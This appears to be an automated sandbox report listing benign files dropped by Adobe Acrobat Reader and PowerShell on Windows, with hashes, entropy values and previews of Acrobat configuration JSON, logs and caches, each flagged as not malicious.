C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2631786005730925
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5l7NHSaGR9VoZcg1vRcR0Yifv2DoAvJf21rPeUkwRe9:YvXKX5l7NyPEZc0vNXZG+16Ukee9
MD5:	50D2E8449ED6A2B2191F86403B8E5911
SHA1:	E47F025EEF29D64950A19876F110E21D93D52140
SHA-256:	A0BC484FD4E2D954A7D017142F4F09BC56E0B08C1F7D8AB407A75958288C7A5B
SHA-512:	0FFC75CA95EDA478D3D96E23A9D3BBCE8652F9816E7C2D08142A77EA6BC196204B00A22F0E00AFF26417385B1E5713186604402F99E51D68F28C3F6580B7C74B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661340903530222
Encrypted:	false
SSDEEP:	24:Yv6X5l7NyPEzv4amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSFP:Yv+1vWBgkDMUJUAh8cvMFP
MD5:	AA5E6EF6DC279624AC577E0B66FCB5BF
SHA1:	DEA6869454FF2A555FAB2C9BD3EC7A150A6461C1
SHA-256:	E8F4FEBF4EBA226A623162D24E90C18E5EAD1312F83F34C6832938EFEEC8E217
SHA-512:	60861DC191ADDF44D6D5D1FDF47DC0BCBFC4E8E552417C921609D90D114F8DD7BE728E17E5465F5EE8D484DDFB9940F8B117B2EEEB7637337E4089FF856C5062
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.236867798340701
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5l7NHSaGR9VoZcg1vRcR0Yifv2DoAvJfshHHrPeUkwRe9:YvXKX5l7NyPEZc0vNXZGUUUkee9
MD5:	DD7A3CA4C809F9A77FE2CE22F3F48AD7
SHA1:	2002314A8B71B408278614B0270A7115CB582B4F
SHA-256:	6CC2D7AF1C280972F1C315DAB8895B3C3F83E4E3FD28B5C6EF17BF18DE8C0A5A
SHA-512:	D91AA039FFD367DAF75B366916AB8BF214A2AC2EE3333D8655A26814298ECC6E7065D86561A1D8D861E6F43800FD3B568BC3F33AE591029D449E24794583E4B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.247387525561598
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5l7NHSaGR9VoZcg1vRcR0Yifv2DoAvJTqgFCrPeUkwRe9:YvXKX5l7NyPEZc0vNXZGTq16Ukee9
MD5:	D37B6B55712B19BDBBE3156972BCD1B1
SHA1:	4CF8257D38D9C85C870029AAAFFD308918366E6D
SHA-256:	FED5601EBB19F7F28482D0ED78468CDB1BC5F16BA1252C751362A70133AA0A00
SHA-512:	4D143F6265CAC1A17F995A521B8C1EE5A8EFE47F562D6EF0B89247AAEA74DDD460E5A509A449C89FB86E052B9088DFFA6F7C36FB9DEDD882073DED3E392D7D97
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1340047117467185
Encrypted:	false
SSDEEP:	48:YQIN/bqzLwnmMn8SVAOuOtZcDY+B/cHWs6cvKU9yqi1:gbLnm9OuJnbswqG
MD5:	A6185AEAF61D21D75CC0E95F2E303239
SHA1:	7AC8BC530FD5BFA55053A9A466079419BD4A3B70
SHA-256:	563DED6408EE52928C8BFF549CE1D4BB887D5318B782A83F932297D345486F22
SHA-512:	BDBE2E203491BCFA42DD484523E6E3D074786A632C5345F80ABA6A7D6A1B04BC1C531FD01668A200E6ADAE69ACDD5FABF1765343F457035469860C54E5CF9E95
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5bedf8ef00181a55c2dcdfe8b6fa4b5f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736526905000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"5538e61573fcde4a8f13cae753422fcf","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736526905000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"32bc9e11d1f3ac4733cd9f616293d411","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736526905000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"75dde1fdc770939b7dc4570e8d4a1f7f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736526905000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b248f5bcf2d258e27be3bbf84acc1c20","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736526905000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"9f14886345210d0b9ba2f55527bc53a0","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1869155235566549
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUJbOSvR9H9vxFGiDIAEkGVvpNbI:lNVmswUUUUUUUUJi+FGSItJE
MD5:	CECC5F87C23821FAE6509DD1A2D3AB6A
SHA1:	B8AD9A458D6452BDA4732CFEE858A8921EA551AD
SHA-256:	B5569988A6B85F54F33363EEA35C7BE44C6BD2BB2268E0FF6FEC10DD59DB0CC1
SHA-512:	3C137C74E5A015527FC8237F7255A15DBE5D5582E25FBDE87CC6C80F872E4E3A52E5FF9093899DA130A993EF6F21A1870C0F4FEEC11F2BA110D69D7D6EE08267
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.604935105674186
Encrypted:	false
SSDEEP:	48:7MrKUUUUUUUUUUJbcvR9H9vxFGiDIAEkGVvsqFl2GL7msF:7JUUUUUUUUUUJIFGSItyKVmsF
MD5:	025CF1E9AEA8DF65948F7DA9F9A61B7A
SHA1:	D0FDB88209CED76DA6246F070943E5BFFFB97C08
SHA-256:	6234E485DFADC0CBD51C8E60195AB1868C65E8FB5B6F6D19FB96153B505F318A
SHA-512:	0770B8FA3277C555EE8D76785E305D5E0D42431459DA2E19B8EA032C9734970BE2F4528D5BBA90B96014D87D34D5A6F846C85BDC04B1CFBB0EFF703B4D2CA27C
Malicious:	false
Preview:	.... .c......u........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgBWKB/7my/6KFSfamek0Pjv+ONYyu:6a6TZ44ADEkKB/7my/6H5CNK
MD5:	BAC65A38823612F63A35C8979374F33B
SHA1:	53CA2D5E1AA57AC516A1B169285FB573370ACCB0
SHA-256:	CC962BED5D26E4B62CDE71FD3BBFF23E9E73D81DEB3E8F5120EAC87FDF4EA293
SHA-512:	B600DEA3447835925F461097EDC7D3228F508ED8693EEE4872FC7C6B057321CF71E9831EC22DB837E92A3C70433DECE6DBD208DBF3A2AED30BDDA99D78C0E8EF
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI7d126.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5004142083842487
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEaHWl:Qw946cPbiOxDlbYnuRK+bD1l
MD5:	FFB7B74EEF63B240940B3BB04D1E3975
SHA1:	54F0104E113E73F5EBC563D5C143BB059C39351C
SHA-256:	FF486731F7611600B9EC5BA1499C7A28417ACA926146D8570AAB816647C4F26E
SHA-512:	FE3613602FC51A804B9043EDBB8E942A8DA8D1E6E20A949F7C0DC6995E7A842D2F090859793F2154DE310666DADE5E76417D4D83DF272965A04098310FC8D56C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.3.5.:.0.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fltjnkeb.sos.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oebzslow.k2g.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-35-01-281.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.349017464727004
Encrypted:	false
SSDEEP:	384:oh4fAyZp8hIaRK9AvdIVzVXVqVQFYYZoEs0T1JKWMbLaTAdn1MOZjiC7rGr2CwK9:rj9pI2R
MD5:	2DC4697C96B6397C0B06F046E11D3243
SHA1:	E2F0FA59F0B0DCE364EB4E5B0015F32D1B154DDD
SHA-256:	C09EACA4B6F3BDA5DBB99FE7E5EDE2F4B4D2545D22BA770D24EB36D61BA8583F
SHA-512:	22D8804F2FF1E67C3EF10843A6D57FC992F846FE3FD8A39382A02C1F5DE14D7EFD14ED512EE7995A5869C85F257DBF86DC88EE8173FF6C64F7EE59980FF4A246
Malicious:	false
Preview:	SessionID=f85f7183-e866-4a1b-9b8e-66d39e1140f6.1736526901291 Timestamp=2025-01-10T11:35:01:291-0500 ThreadID=7472 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=f85f7183-e866-4a1b-9b8e-66d39e1140f6.1736526901291 Timestamp=2025-01-10T11:35:01:293-0500 ThreadID=7472 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=f85f7183-e866-4a1b-9b8e-66d39e1140f6.1736526901291 Timestamp=2025-01-10T11:35:01:294-0500 ThreadID=7472 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=f85f7183-e866-4a1b-9b8e-66d39e1140f6.1736526901291 Timestamp=2025-01-10T11:35:01:294-0500 ThreadID=7472 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=f85f7183-e866-4a1b-9b8e-66d39e1140f6.1736526901291 Timestamp=2025-01-10T11:35:01:294-0500 ThreadID=7472 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.383301652136134
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rj:EtC
MD5:	5643EFE61CEA6E0F4E00BBFC87401FEF
SHA1:	EDF63AD16DAA3102633249067492462CD804D421
SHA-256:	CB6F7CA1F896B299D2DF5D965E177741E21F31C28E4762CCC9C1546E5E5A94E1
SHA-512:	893964F577D2547F71CA9F67637F106B842B831FBB2031FC5AEFE7BF1D608BBB8F897D3C409CDAA718EA648C1A8D4E6694BCDD35E9C63B41B6BB7A32B4BFD340
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\05f5af3f-96c2-470b-8c5e-8fd82aed1f41.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xfwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JfwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	4221DDBA16714E1C68C624AB473CE57C
SHA1:	1AB5299511D8BDEC12966B2557284F84118437D7
SHA-256:	8C229C611126C8EE6A945ABF65F6774A8AD0BEC8ED8F60C953B5431768CD3AC4
SHA-512:	AF9C0BB9A865A41F3FF7C010E77F3A8769694E4DE6B489F1DA81FA10740D074664A42889FDD62A3EC9BDBD4269B0DE1B77CF433EB71D1C10E5B4229F292D8166
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\2fd9121a-07b7-46a3-ac96-45523418f04f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\40c1b9a1-1cfd-43e7-b4ae-fa7b782acd64.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
